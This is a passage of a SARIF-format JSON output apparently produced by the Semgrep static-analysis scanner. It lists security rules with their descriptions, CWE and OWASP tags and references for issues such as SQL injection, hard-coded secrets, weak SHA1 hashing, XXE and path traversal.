instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","id":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","name":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","id":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","name":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.exposed-exec-sqli.exposed-exec-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution","id":"go.otto.security.audit.dangerous-execution.dangerous-execution","name":"go.otto.security.audit.dangerous-execution.dangerous-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.otto.security.audit.dangerous-execution.dangerous-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","id":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","name":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"help":{"markdown":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion)\n - [https://lwn.net/Articles/606141/](https://lwn.net/Articles/606141/)\n","text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"helpUri":"https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion","id":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","name":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","properties":{"precision":"very-high","tags":["CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.random-fd-exhaustion.random-fd-exhaustion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"help":{"markdown":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request)\n - [https://www.npmjs.com/package/ftp](https://www.npmjs.com/package/ftp)\n - [https://openbase.io/js/ftp](https://openbase.io/js/ftp)\n","text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","id":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","name":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","id":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","name":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","id":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","name":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","id":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","name":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"help":{"markdown":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url","id":"cpp.lang.security.uri.http-url.http-url","name":"cpp.lang.security.uri.http-url.http-url","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.http-url.http-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"help":{"markdown":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb)\n","text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","id":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","name":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","id":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","name":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","id":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","name":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","id":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","name":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml 